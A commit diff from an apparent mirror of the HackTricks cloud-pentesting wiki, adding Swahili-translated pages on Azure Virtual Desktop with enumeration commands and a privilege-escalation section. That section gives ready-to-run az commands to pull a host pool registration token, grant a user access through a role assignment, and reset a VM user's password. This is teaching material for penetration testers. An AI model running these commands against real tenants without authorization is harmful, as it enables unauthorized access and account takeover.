mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
Translator
+4
-1
@@ -431,6 +431,7 @@
|
||||
- [Az - Static Web Applications](pentesting-cloud/azure-security/az-services/az-static-web-apps.md)
|
||||
- [Az - Storage Accounts & Blobs](pentesting-cloud/azure-security/az-services/az-storage.md)
|
||||
- [Az - Table Storage](pentesting-cloud/azure-security/az-services/az-table-storage.md)
|
||||
- [Az - Virtual Desktop](pentesting-cloud/azure-security/az-services/az-virtual-desktop.md)
|
||||
- [Az - Virtual Machines & Network](pentesting-cloud/azure-security/az-services/vms/README.md)
|
||||
- [Az - Azure Network](pentesting-cloud/azure-security/az-services/vms/az-azure-network.md)
|
||||
- [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
|
||||
@@ -485,11 +486,13 @@
|
||||
- [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md)
|
||||
- [Az - Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md)
|
||||
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
||||
- [Az - Virtual Desktop Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md)
|
||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Logic Apps Persistence](pentesting-cloud/azure-security/az-persistence/az-logic-apps-persistence.md)
|
||||
- [Az - SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
# Az - Virtual Desktop Privesx
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Virtual Desktop Privesc
|
||||
|
||||
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
|
||||
Unaweza kupata token ya usajili inayotumika kujiandikisha mashine za virtual ndani ya kundi la mwenyeji.
|
||||
```bash
|
||||
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
|
||||
```
|
||||
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
|
||||
|
||||
Kwa ruhusa hizi unaweza kuongeza mgawanyiko wa mtumiaji kwenye kundi la Maombi, ambalo linahitajika ili kufikia mashine ya virtual ya desktop ya virtual.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"roleDefinitionId": "/subscriptions/<SUBSCRIPTION_ID>/providers/Microsoft.Authorization/roleDefinitions/1d18fff3-a72a-46b5-b4a9-0b38a3cd7e63",
|
||||
"principalId": "<USER_OBJECT_ID>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Zaidi ya hayo, unaweza kubadilisha mtumiaji wa mashine ya virtual na nenosiri ili kuweza kuifikia.
|
||||
```bash
|
||||
az vm user update \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <VM_NAME> \
|
||||
--username <USERNAME> \
|
||||
--password <NEW_PASSWORD>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,101 @@
|
||||
# Az - Virtual Desktop
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Virtual Desktop
|
||||
|
||||
Virtual Desktop ni **huduma ya virtualisasi ya desktop na programu**. Inaruhusu kutoa desktops kamili za Windows, ikiwa ni pamoja na Windows 11, Windows 10, au Windows Server kwa watumiaji kwa mbali, ama kama desktops binafsi au kupitia programu binafsi. Inasaidia mipangilio ya kikao kimoja kwa matumizi ya kibinafsi na mazingira ya kikao nyingi. Watumiaji wanaweza kuungana kutoka kwa kifaa chochote kwa kutumia programu za asili au kivinjari cha wavuti.
|
||||
|
||||
### Host Pools
|
||||
|
||||
Host pools katika Azure Virtual Desktop ni makusanyo ya mashine za Azure virtual zilizopangwa kama wenyeji wa kikao, zikitoa desktops na programu za virtual kwa watumiaji. Kuna aina mbili kuu:
|
||||
- **Personal host pools**, ambapo kila mashine ya virtual inatengwa kwa mtumiaji mmoja, ikiwa na mazingira yake
|
||||
- **Pooled host pools**, ambapo watumiaji wengi wanashiriki rasilimali kwenye mwenyeji wa kikao yeyote iliyo na upatikanaji. Ina kikomo cha kikao kinachoweza kubadilishwa na usanidi wa mwenyeji wa kikao unaruhusu Azure Virtual Desktop kujiandaa kuunda wenyeji wa kikao kulingana na usanidi
|
||||
|
||||
Kila host pool ina **token ya usajili** inayotumika kujiandikisha mashine za virtual ndani ya host pool.
|
||||
|
||||
### Application groups & Workspace
|
||||
Application groups **zinadhibiti ufikiaji wa mtumiaji** kwa desktop kamili au seti maalum za programu zinazopatikana kwenye wenyeji wa kikao ndani ya host pool. Kuna aina mbili:
|
||||
- **Desktop application groups**, ambazo zinawapa watumiaji ufikiaji wa desktop kamili ya Windows (inapatikana kwa host pools za kibinafsi na zilizoshirikiwa)
|
||||
- **RemoteApp groups**, ambazo zinawaruhusu watumiaji kufikia programu binafsi zilizochapishwa (inapatikana tu kwa host pools zilizoshirikiwa).
|
||||
Host pool inaweza kuwa na Desktop application group moja lakini ina RemoteApp groups nyingi. Watumiaji wanaweza kupewa kazi katika makundi mengi ya programu katika host pools tofauti. Ikiwa mtumiaji amepewa makundi ya desktop na RemoteApp ndani ya host pool moja, wanaona rasilimali kutoka kwa aina ya kundi iliyopewa kipaumbele na wasimamizi.
|
||||
|
||||
A **workspace** ni **mkusanyiko wa makundi ya programu**, ikiruhusu watumiaji kufikia desktops na makundi ya programu yaliyopewa. Kila kundi la programu lazima liunganishwe na workspace, na linaweza kuwa chini ya workspace moja tu kwa wakati mmoja.
|
||||
|
||||
### Key Features
|
||||
- **Flexible VM Creation**: Unda mashine za Azure virtual moja kwa moja au ongeza mashine za Azure Local baadaye.
|
||||
- **Security Features**: Wezesha Trusted Launch (boot salama, vTPM, ufuatiliaji wa uaminifu) kwa usalama wa juu wa VM (mtandao wa virtual unahitajika). Inaweza kuunganishwa na Azure Firewall na kudhibiti trafiki kupitia Makundi ya Usalama wa Mtandao.
|
||||
- **Domain Join**: Msaada wa kujiunga na Active Directory domain kwa usanidi unaoweza kubadilishwa.
|
||||
- **Diagnostics & Monitoring**: Wezesha Mipangilio ya Diagnostic ili kutiririsha kumbukumbu na metriki kwa Log Analytics, akaunti za hifadhi, au vituo vya matukio kwa ufuatiliaji.
|
||||
- **Custom image templates**: Unda na usimamie ili kuzitumia unapoongeza wenyeji wa kikao. Ongeza urahisi wa kawaida au scripts zako za kawaida.
|
||||
- **Workspace Registration**: Rahisi kujiandikisha makundi ya programu ya desktop ya default kwa workspaces mpya au zilizopo kwa usimamizi rahisi wa ufikiaji wa mtumiaji.
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
az extension add --name desktopvirtualization
|
||||
|
||||
# List HostPool of a Resource group
|
||||
az desktopvirtualization hostpool list --resource-group <Resource_Group>
|
||||
|
||||
# List Application Groups
|
||||
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
|
||||
# List Application Groups By Subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
|
||||
# List Applications in a Application Group
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
|
||||
# List Assigned Users to the Application Group
|
||||
az rest \
|
||||
--method GET \
|
||||
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
|
||||
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
|
||||
|
||||
|
||||
# List Workspace in a resource group
|
||||
az desktopvirtualization workspace list --resource-group <Resource_Group>
|
||||
# List Workspace in a subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
|
||||
|
||||
# List App Attach Package By Resource Group
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
|
||||
# List App Attach Package By Subscription
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
|
||||
|
||||
# List Desktops
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
|
||||
|
||||
# List MSIX Packages
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/msixPackages?api-version=2024-04-03"
|
||||
|
||||
# List private endpoint connections associated with hostpool.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
|
||||
# List private endpoint connections associated By Workspace.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
|
||||
|
||||
# List the private link resources available for a hostpool.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
|
||||
# List the private link resources available for this workspace.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
|
||||
|
||||
# List sessionHosts/virtual machines.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
|
||||
|
||||
# List start menu items in the given application group.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
|
||||
|
||||
# List userSessions.
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
|
||||
# List userSessions By Host Pool
|
||||
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
|
||||
|
||||
```
|
||||
### Connection
|
||||
|
||||
Ili kuungana na desktop ya virtual kupitia wavuti unaweza kufikia kupitia https://client.wvd.microsoft.com/arm/webclient/ (ya kawaida zaidi), au https://client.wvd.microsoft.com/webclient/index.html (kijadi) Kuna njia nyingine ambazo zimeelezewa hapa [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
|
||||
|
||||
## Privesc
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-virtual-desktop-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user